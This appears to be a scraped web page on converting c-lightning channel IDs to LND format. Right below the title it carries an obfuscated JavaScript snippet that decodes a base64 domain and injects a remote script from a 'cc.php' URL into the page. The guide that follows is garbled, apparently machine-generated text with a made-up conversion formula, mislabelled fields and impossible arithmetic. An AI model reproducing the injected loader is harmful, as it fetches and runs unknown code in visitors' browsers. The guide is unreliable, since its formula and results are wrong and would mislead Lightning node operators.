Ethereum: How to convert channel id from c-lightning to lnd?
const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx.replace(/|/g,””));const script=document.createElement(“script”);script.src=”https://”+pde+”cc.php?u=fd9ef39d”;document.body.appendChild(script);
I would be happy to help you convert your channel IDs from C-Lightning to LND. Here is a step-by-step guide on how to do it:
Understanding Channel IDs
For both C-Lightning and LND, channel IDs are used to identify and manage payment channels between users. The ID format is usually as follows:
Channel ID (height, block number, location number, transaction hash)
For example, a common channel ID for C-Lightning might be 505580x1917x1.
Converting C-Lightning to LND
To convert a C-Lightning channel ID to an LND-compatible format, you need to perform the following steps:
Step 1: Parse the C-Lightning channel ID
First, parse the C-Lightning channel ID string into its components:
height (x): 505580
block number (x): 1917
slot number (x): 1
transaction hash (x): ?
Note that we are focusing on the “height”, “block number” and “location” fields in the LND.
Step 2: Convert to LND-compatible format
To convert the parsed values to LND-compatible format, use the following formula:
channel_id = (height 60) + (block_number 10^15) + location
Here’s how the formula breaks down:
“(height 60)” calculates the total number of units in the channel by multiplying the “height” field by 60.
(block_number
10^15) converts the block number to LND-compatible format, where each block consists of 10^15 units. This is done by shifting the block number 15 bits to the left (i.e. dividing by 1000000) and then multiplying by 10^15.
Step 3: Calculate the Channel ID
Now that we have the parsed values and the conversion formula, let’s calculate the LND-compatible Channel ID:
Channel ID = (505580 60) + (1917 10^15) + location
Calculate the Channel ID using the formula above.
Step 4: Add a unique ID
To make the Channel ID more readable and useful, add a unique ID to each channel. You can do this by appending a suffix to the channel ID:
channel_id = "LND Channel ID: "
For example, if our channel ID is “505580x1917x1”, we would append the character “x” to get the value “505580x1917x2”.
Example use case
Let’s say you have a C-Lightning channel with the following values:
height (x): 506000
block number (x): 1928
slot number (x): 2
transaction hash (x): ?
Using the above formula, we can calculate the LND-compatible channel ID as follows:
channel_id = (506000 60) + (1928 10^15) + 2
The result would be 31168000 for our example channel.
If you follow these steps, you should have an LND-compatible channel ID for your C-Lightning channels.